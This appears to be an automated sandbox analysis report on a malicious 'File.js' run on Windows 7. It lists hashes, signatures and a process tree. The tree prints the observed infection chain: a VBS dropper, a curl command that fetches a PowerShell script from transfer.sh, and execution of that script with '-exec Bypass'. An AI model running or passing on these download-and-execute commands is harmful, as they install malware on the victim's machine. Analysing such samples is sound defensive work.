Analysis

  • max time kernel
    45s
  • max time network
    50s
  • platform
    windows7_x64
  • resource
    win7-20220901-en
  • resource tags

    arch:x64arch:x86image:win7-20220901-enlocale:en-usos:windows7-x64system
  • submitted
    25-11-2022 18:01

General

  • Target

    File.js

  • Size

    1024KB

  • MD5

    e6ec998371e8e87c4fd54fab0753efd6

  • SHA1

    78ffb07d87bdc791efdf6621df9a69552dc12a84

  • SHA256

    416293a2a049e175d85d418790035732eda8a055071d82d10f36a5bf6d9f246f

  • SHA512

    1beb3ac230a17cf5a383660447368744d8ce183edbf5eba27d6b466031cdde96025ea32ad14d8ae6be3f0535a6537e41d3b4ff09fadd6f27aca14e8b94f79bbf

  • SSDEEP

    24576:NFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFo:

Score
3/10

Malware Config

Signatures

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 18 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\File.js
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1448
    • C:\Windows\System32\wscript.exe
      "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\GTA01.vbs"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1932
      • C:\Windows\System32\cmd.exe
        "C:\Windows\System32\cmd.exe" /c cmd.exe /c curl https://transfer.sh/get/KUz0uB/GTA.ps1 --output C:\Users\Admin\AppData\Roaming\rr.ps1
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1132
        • C:\Windows\system32\cmd.exe
          cmd.exe /c curl https://transfer.sh/get/KUz0uB/GTA.ps1 --output C:\Users\Admin\AppData\Roaming\rr.ps1
          4⤵
            PID:1152
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" /c cmd.exe /c powershell.exe -exec Bypass -C C:\Users\Admin\AppData\Roaming\rr.ps1
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:668
          • C:\Windows\system32\cmd.exe
            cmd.exe /c powershell.exe -exec Bypass -C C:\Users\Admin\AppData\Roaming\rr.ps1
            4⤵
            • Suspicious use of WriteProcessMemory
            PID:632
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              powershell.exe -exec Bypass -C C:\Users\Admin\AppData\Roaming\rr.ps1
              5⤵
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:1092

    Network

    MITRE ATT&CK Enterprise v6

    Replay Monitor

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    Downloads

    • C:\Users\Admin\AppData\Local\Temp\GTA01.vbs

      Filesize

      111KB

      MD5

      ae6f5f99b79da73f4a5946b99638464c

      SHA1

      5dabcaf16267d88916091c8b969fab45e2780a2f

      SHA256

      839956f6240fdb2afed0556347dd1ecd8c375cbf5e8c017073bc87383e41a77d

      SHA512

      139210450bc7b580acb20a3f205ed15bb70ebc8779efbd5db31e8d77f8e37b396606d60ae87a8b8cce63e2a41666e54cec95d9a00f1959b96fa9047cb8624a8b

    • memory/632-61-0x0000000000000000-mapping.dmp

    • memory/668-60-0x0000000000000000-mapping.dmp

    • memory/1092-65-0x000007FEF3460000-0x000007FEF3FBD000-memory.dmp

      Filesize

      11.4MB

    • memory/1092-62-0x0000000000000000-mapping.dmp

    • memory/1092-64-0x000007FEF3FC0000-0x000007FEF49E3000-memory.dmp

      Filesize

      10.1MB

    • memory/1092-66-0x0000000002474000-0x0000000002477000-memory.dmp

      Filesize

      12KB

    • memory/1092-67-0x000000001B740000-0x000000001BA3F000-memory.dmp

      Filesize

      3.0MB

    • memory/1092-68-0x0000000002474000-0x0000000002477000-memory.dmp

      Filesize

      12KB

    • memory/1092-69-0x000000000247B000-0x000000000249A000-memory.dmp

      Filesize

      124KB

    • memory/1132-58-0x0000000000000000-mapping.dmp

    • memory/1152-59-0x0000000000000000-mapping.dmp

    • memory/1448-54-0x000007FEFB9E1000-0x000007FEFB9E3000-memory.dmp

      Filesize

      8KB

    • memory/1932-55-0x0000000000000000-mapping.dmp